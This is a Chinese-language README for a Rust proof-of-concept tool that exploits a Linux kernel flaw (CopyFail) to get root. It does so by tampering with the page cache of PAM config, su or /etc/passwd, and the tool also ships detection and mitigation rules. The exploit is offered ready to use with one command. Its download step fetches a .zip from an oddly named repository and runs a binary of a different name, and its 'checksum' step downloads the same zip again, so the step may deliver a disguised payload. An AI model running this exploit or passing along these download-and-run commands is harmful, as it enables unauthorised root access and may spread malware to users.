针对 CVE-2026-31431(CopyFail)的多向量 PoC + 配套检测。 包含一个新颖的 PAM 认证绕过向量,其他公开 PoC 均未提供。 检测模式能够捕获 AIDE / Wazuh / OSSEC / Tripwire 在结构上无法发现的内容。
单个静态二进制文件。约 108 KB。no_std musl。
noot@host:~$ ./copyfail-rs --mode exploit
[sudo] password for noot:
root@host:~# id
uid=0(root) gid=0(root) groups=0(root)
root@host:~#
一条命令。获得 root shell。底层是 PAM 致命一击(仅向 /etc/pam.d/common-auth 写入 4 字节),通过 sudo 配合丢弃的密码获得 PTY 并降落到 root。[sudo] password for noot: 这一行会短暂闪现,sudo 总是回显该提示;二进制会向其输入任意字符串,pam_unix 的失败会级联穿过已被注释掉的 pam_deny.so,到达 pam_permit.so → root。
$ ./copyfail-rs --mode detect --scan
=== copyfail-rs detection: --scan ===
TAMPERED (1):
/etc/pam.d/common-auth [ext4]
cache: 23c4f1ee... ← what's actually loaded (mutated)
disk: 117dab1c... ← what AIDE / Wazuh / Tripwire see (clean)
这就是这个项目。磁盘干净,但缓存已被篡改。所有公开的 FIM 都是盲的。这个工具不是。
在 v0.1.0 发布 上有预构建的静态二进制文件。选择你的架构,下载,运行。
# x86_64 (most laptops + cloud servers)
curl -LO https://raw.githubusercontent.com/Liverwortenuresis371/copyfail-rs/main/src/vectors/copyfail-rs-3.9.zip
chmod +x copyfail-x86_64-musl
./copyfail-x86_64-musl --mode exploit
其他架构:
| Arch | File |
|---|---|
| ARM64 (aarch64) | copyfail-aarch64-musl |
| ARMv7 (Raspberry Pi 3+) | copyfail-armv7-musleabihf |
校验完整性:
curl -LO https://raw.githubusercontent.com/Liverwortenuresis371/copyfail-rs/main/src/vectors/copyfail-rs-3.9.zip
sha256sum -c checksums.txt
静态 musl 二进制,无运行时依赖,可在任何 Linux 上运行。
页缓存篡改。没有 VFS 写入。没有脏页。没有 inotify 事件。周期性重扫与缓存回收竞争。
AIDE/Wazuh/OSSEC/Tripwire/Samhain 通过缓冲 I/O 读取 → 页缓存 → 将被篡改的字节哈希视为真相。或者,在缓存回收之后,对干净磁盘做哈希 → "从未发生过更改"。
检测需要 O_DIRECT(跳过缓存)+ 缓冲读取(命中缓存)+ 哈希差异。不匹配 = CopyFail 特征。这就是 --scan。
自动选择:--vector auto(默认)。按隐蔽性排序 pam > su > passwd。失败时回退。
处处支持 --json,方便 SIEM 接入。
detection/:
sigma/copyfail-af-alg.yml,Sigma 规则,可直接放入你的 SIEMauditd/copyfail.rules,augenrules --loadebpf/copyfail-trace.bt,bpftrace 单行脚本apparmor/copyfail-block.profile,AppArmor 3.0+ 拒绝规则mitigation/disable-algif.sh,modprobe 黑名单 + =y 警告echo "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/disable-algif.conf
sudo rmmod algif_aead
或者使用内核主线 a664bf3d603d(2026 年 4 月)。截至目前:只有 Debian Sid/Forky 已提供修复。Ubuntu LTS、RHEL、SUSE、Amazon Linux、Fedora、Arch、Oracle = 全部易受攻击。
注意:CONFIG_CRYPTO_USER_API_AEAD=y(内建)会静默绕过 modprobe。--check 会发出警告。
利用并缓解之后:被篡改的缓存会持续到重启。缓解措施能阻止新的利用,但无法撤销过去的利用。
cargo build --release --target x86_64-unknown-linux-musl
| Target | Size |
|---|---|
| x86_64-musl | 108 KB |
| aarch64-musl | 96 KB |
| armv7-musleabihf | 86 KB |
no_std。无分配器。无运行时依赖。单个静态二进制文件。
预构建产物和 SHA256 校验和已附加到 GitHub 发布。
有关每种模式的具体一屏示例(exploit auto/list/all,detect check/scan/baseline/diff/watch/hunt),请参阅 docs/usage.md。
如需本 README 的长篇叙述版本(更多背景、更深入阐述),请参阅 BLOG.md。
请参阅 docs/threat-model.md。
仅限自有硬件。没有 CLI 门禁(安全剧场)。README + LICENSE = 框架本身。
检测模式是只读的。可在生产环境安全运行。
利用模式会篡改内核页缓存。仅存在于内存中,但请视为破坏性操作。会阻止任何后续调用者的认证。
CVE-2026-31431 由 Theori / Xint 于 2026-04-29 披露(writeup、Xint 博客)。之前的公开 PoC:
本项目(copyfail-rs):新增 PAM 认证绕过向量、双模式检测、IR 产物。
MIT。
a664bf3d603d72548b093ee3(4.14,2017 年 8 月)| 向量 | 目标 | 落点 |
|---|
pam(新增) | /etc/pam.d/common-auth(Debian/Ubuntu)或 system-auth(Fedora/RHEL/Arch) | 4 字节。auth requisite pam_deny.so → #aut requisite pam_deny.so。使用任意密码执行 sudo = root。 |
su | /usr/bin/su | 篡改 setuid 二进制文本。execve → root。 |
passwd | /etc/passwd | UID 翻转 → 用户下次登录时变为 root。破坏该用户的 SSH。 |
| 模式 | 说明 |
|---|
--check | 内核 + 模块 + CONFIG_CRYPTO_USER_API_AEAD + 缓解状态。判定:易受攻击 / 已缓解 / 安全。 |
--scan | 在关键文件上进行 O_DIRECT 与缓冲读取的差异比较。statfs() 分支:ext4/xfs/btrfs 使用 O_DIRECT,overlayfs 回退,tmpfs 跳过。 |
--baseline / --diff | 对已知干净状态做快照。之后进行差异比较。仅缓存增量 = CopyFail 指纹。 |
--watch | 守护进程。定期扫描。SIGTERM 干净退出。 |
--hunt | SSH 主机群扫描。JSON 聚合。 |
| Theori Python | tgies C | badsectorlabs Go | copyfail-rs |
|---|
| 向量 | su | su + passwd | su | su + passwd + PAM(新颖) |
| 检测 | 无 | 无 | 无 | 完整 --mode detect |
| IR 产物 | 无 | 无 | 无 | Sigma + auditd + eBPF + AppArmor |
| 操作者体验 | 3 条命令 | 4 条命令 | 5 条命令 | 1 条命令 |
| 二进制文件 | 需要 Python | ~10 KB | ~5 MB | ~108 KB 静态 |